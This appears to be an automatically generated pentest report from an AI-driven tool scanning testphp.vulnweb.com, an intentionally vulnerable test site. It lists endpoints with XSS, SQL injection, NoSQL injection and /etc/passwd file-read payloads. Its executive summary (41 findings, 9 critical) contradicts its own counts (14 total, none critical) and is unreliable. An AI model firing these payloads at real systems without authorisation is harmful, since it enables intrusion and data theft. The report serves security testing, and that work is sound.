NeuroSploit Security Report

AI Pentest Report - http://testphp.vulnweb.com/

Generated: 2026-02-11 20:10:20

0
Critical
0
High
11
Medium
1
Low
14
Total

Executive Summary

A security assessment was conducted on the target application. The assessment identified 41 vulnerabilities across the tested endpoints. Risk Summary: - Critical: 9 - High: 15 - Medium: 14 - Low: 1 Overall Risk Level: Critical Immediate attention is required to address critical and high severity findings.

Vulnerability Findings (14 Confirmed)

MEDIUM

Reflected Cross-Site Scripting (XSS)

Type: xss_reflected CVSS: 6.1

Affected Endpoint: http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E

Description: N/A

Proof of Concept

Observation

Security-relevant behavior detected at the affected endpoint.

Hypothesis

The endpoint may be vulnerable to xss_reflected based on observed behavior.

Validation
<script>alert('XSS')</script>
Result

Vulnerability confirmed through the validation steps above.

MEDIUM

Reflected Cross-Site Scripting (XSS)

Type: xss_reflected CVSS: 6.1

Affected Endpoint: http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E

Description: N/A

Proof of Concept

Observation

Security-relevant behavior detected at the affected endpoint.

Hypothesis

The endpoint may be vulnerable to xss_reflected based on observed behavior.

Validation
<script>alert('XSS')</script>
Result

Vulnerability confirmed through the validation steps above.

MEDIUM

Clickjacking

Type: clickjacking CVSS: 4.3

Affected Endpoint: http://testphp.vulnweb.com/

Description: N/A

MEDIUM

Missing Xcto

Type: missing_xcto CVSS: 5.0

Affected Endpoint: http://testphp.vulnweb.com/

Description: N/A

MEDIUM

Missing Csp

Type: missing_csp CVSS: 5.0

Affected Endpoint: http://testphp.vulnweb.com/

Description: N/A

MEDIUM

Cleartext HTTP Transmission

Type: cleartext_transmission CVSS: 5.9

Affected Endpoint: http://testphp.vulnweb.com/

Description: N/A

MEDIUM

Missing CSRF Protection

Type: csrf CVSS: 4.3

Affected Endpoint: http://testphp.vulnweb.com/

Description: N/A

MEDIUM

Missing CSRF Protection

Type: csrf CVSS: 4.3

Affected Endpoint: http://testphp.vulnweb.com/listproducts.php?cat=1

Description: N/A

MEDIUM

Missing CSRF Protection

Type: csrf CVSS: 4.3

Affected Endpoint: http://testphp.vulnweb.com/guestbook.php

Description: N/A

MEDIUM

Missing CSRF Protection

Type: csrf CVSS: 4.3

Affected Endpoint: http://testphp.vulnweb.com/search.php?test=1

Description: N/A

MEDIUM

Missing CSRF Protection

Type: csrf CVSS: 4.3

Affected Endpoint: http://testphp.vulnweb.com/artists.php?artist=1

Description: N/A

LOW

Directory Listing Enabled

Type: directory_listing CVSS: 5.3

Affected Endpoint: http://testphp.vulnweb.com/images/

Description: N/A

INFO

Server Version Disclosure

Type: sensitive_data_exposure

Affected Endpoint: http://testphp.vulnweb.com/

Description: N/A

INFO

Technology Version Disclosure

Type: sensitive_data_exposure

Affected Endpoint: http://testphp.vulnweb.com/

Description: N/A

AI-Rejected Findings (27) - Manual Review Required

The following potential findings were rejected by AI analysis as likely false positives. Manual pentester review is recommended to confirm or override these decisions.

CRITICAL Authentication Bypass
AI Rejected

Endpoint: http://testphp.vulnweb.com/admin?id='+OR+'1'%3D'1

Payload: ' OR '1'='1

Rejection Reason: Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)

CRITICAL Authentication Bypass
AI Rejected

Endpoint: http://testphp.vulnweb.com/admin?id=admin'--

Payload: admin'--

Rejection Reason: Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)

CRITICAL Authentication Bypass
AI Rejected

Endpoint: http://testphp.vulnweb.com/admin?id=admin'+%23

Payload: admin' #

Rejection Reason: Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)

CRITICAL Authentication Bypass
AI Rejected

Endpoint: http://testphp.vulnweb.com/admin?q='+OR+'1'%3D'1

Payload: ' OR '1'='1

Rejection Reason: Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)

CRITICAL Authentication Bypass
AI Rejected

Endpoint: http://testphp.vulnweb.com/admin?q=admin'--

Payload: admin'--

Rejection Reason: Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)

CRITICAL Authentication Bypass
AI Rejected

Endpoint: http://testphp.vulnweb.com/admin?q=admin'+%23

Payload: admin' #

Rejection Reason: Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)

CRITICAL Error-based SQL Injection
AI Rejected

Endpoint: http://testphp.vulnweb.com/product.php?pic=1&pic='

Payload: '

Rejection Reason: Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)

CRITICAL Error-based SQL Injection
AI Rejected

Endpoint: http://testphp.vulnweb.com/product.php?pic=1&pic=%22

Payload: "

Rejection Reason: Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)

CRITICAL Error-based SQL Injection
AI Rejected

Endpoint: http://testphp.vulnweb.com/product.php?pic=1&pic='+OR+'1'%3D'1

Payload: ' OR '1'='1

Rejection Reason: Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)

HIGH Blind SQL Injection (Boolean-based)
AI Rejected

Endpoint: http://testphp.vulnweb.com/product.php?pic=1&pic='+AND+1%3D1--

Payload: ' AND 1=1--

Rejection Reason: Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)

HIGH Blind SQL Injection (Boolean-based)
AI Rejected

Endpoint: http://testphp.vulnweb.com/product.php?pic=1&pic='+AND+1%3D2--

Payload: ' AND 1=2--

Rejection Reason: Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)

HIGH Blind SQL Injection (Boolean-based)
AI Rejected

Endpoint: http://testphp.vulnweb.com/product.php?pic=1&pic='+AND+'a'%3D'a

Payload: ' AND 'a'='a

Rejection Reason: Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)

HIGH Time-based Blind SQL Injection
AI Rejected

Endpoint: http://testphp.vulnweb.com/listproducts.php?cat='%3B+WAITFOR+DELAY+'0:0:5'--

Payload: '; WAITFOR DELAY '0:0:5'--

Rejection Reason: Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)

HIGH Arbitrary File Read
AI Rejected

Endpoint: http://testphp.vulnweb.com/listproducts.php?cat=/etc/passwd

Payload: /etc/passwd

Rejection Reason: Rejected arbitrary_file_read in cat: negative controls show same behavior (1/4 controls match) (score: 0/100)

HIGH NoSQL Injection
AI Rejected

Endpoint: http://testphp.vulnweb.com/listproducts.php?cat=%7B%22$gt%22:+%22%22%7D

Payload: {"$gt": ""}

Rejection Reason: Rejected nosql_injection in cat: negative controls show same behavior (1/4 controls match) (score: 0/100)

HIGH Time-based Blind SQL Injection
AI Rejected

Endpoint: http://testphp.vulnweb.com/search.php?test='%3B+WAITFOR+DELAY+'0:0:5'--

Payload: '; WAITFOR DELAY '0:0:5'--

Rejection Reason: Rejected sqli_time in test: no proof of execution (score: 20/100)

HIGH Time-based Blind SQL Injection
AI Rejected

Endpoint: http://testphp.vulnweb.com/artists.php?artist='%3B+WAITFOR+DELAY+'0:0:5'--

Payload: '; WAITFOR DELAY '0:0:5'--

Rejection Reason: Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)

HIGH Arbitrary File Read
AI Rejected

Endpoint: http://testphp.vulnweb.com/artists.php?artist=/etc/passwd

Payload: /etc/passwd

Rejection Reason: Rejected arbitrary_file_read in artist: negative controls show same behavior (1/4 controls match) (score: 0/100)

HIGH NoSQL Injection
AI Rejected

Endpoint: http://testphp.vulnweb.com/artists.php?artist=%7B%22$gt%22:+%22%22%7D

Payload: {"$gt": ""}

Rejection Reason: Rejected nosql_injection in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)

HIGH NoSQL Injection
AI Rejected

Endpoint: http://testphp.vulnweb.com/showimage.php?file=%7B%22$gt%22:+%22%22%7D

Payload: {"$gt": ""}

Rejection Reason: Rejected nosql_injection in file: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)

HIGH Time-based Blind SQL Injection
AI Rejected

Endpoint: http://testphp.vulnweb.com/product.php?pic='%3B+WAITFOR+DELAY+'0:0:5'--

Payload: '; WAITFOR DELAY '0:0:5'--

Rejection Reason: Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)

HIGH Arbitrary File Read
AI Rejected

Endpoint: http://testphp.vulnweb.com/product.php?pic=/etc/passwd

Payload: /etc/passwd

Rejection Reason: Rejected arbitrary_file_read in pic: negative controls show same behavior (3/4 controls match) (score: 0/100)

HIGH NoSQL Injection
AI Rejected

Endpoint: http://testphp.vulnweb.com/product.php?pic=%7B%22$gt%22:+%22%22%7D

Payload: {"$gt": ""}

Rejection Reason: Rejected nosql_injection in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)

HIGH NoSQL Injection
AI Rejected

Endpoint: http://testphp.vulnweb.com/hpp/?pp=%7B%22$gt%22:+%22%22%7D

Payload: {"$gt": ""}

Rejection Reason: Rejected nosql_injection in pp: no proof of execution (score: 20/100)

MEDIUM Reflected Cross-Site Scripting (XSS)
AI Rejected

Endpoint: http://testphp.vulnweb.com/product.php?pic=1&pic=%3Cscript%3Ealert('XSS')%3C/script%3E

Payload: <script>alert('XSS')</script>

Rejection Reason: Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)

MEDIUM Reflected Cross-Site Scripting (XSS)
AI Rejected

Endpoint: http://testphp.vulnweb.com/product.php?pic=1&pic=%3Cimg+src%3Dx+onerror%3Dalert('XSS')%3E

Payload: <img src=x onerror=alert('XSS')>

Rejection Reason: Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)

MEDIUM Reflected Cross-Site Scripting (XSS)
AI Rejected

Endpoint: http://testphp.vulnweb.com/product.php?pic=1&pic=%3Csvg+onload%3Dalert('XSS')%3E

Payload: <svg onload=alert('XSS')>

Rejection Reason: Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)

Screenshots & Evidence

Visual evidence captured during vulnerability validation.

Clickjacking

Evidence 1
Evidence 1

Missing Xcto

Evidence 1
Evidence 1

Missing Csp

Evidence 1
Evidence 1

Cleartext HTTP Transmission

Evidence 1
Evidence 1

Missing CSRF Protection

Evidence 1
Evidence 1

Missing CSRF Protection

Evidence 1
Evidence 1

Missing CSRF Protection

Evidence 1
Evidence 1

Missing CSRF Protection

Evidence 1
Evidence 1

Missing CSRF Protection

Evidence 1
Evidence 1

Directory Listing Enabled

Evidence 1
Evidence 1

Generated by NeuroSploit v3 - AI-Powered Penetration Testing Platform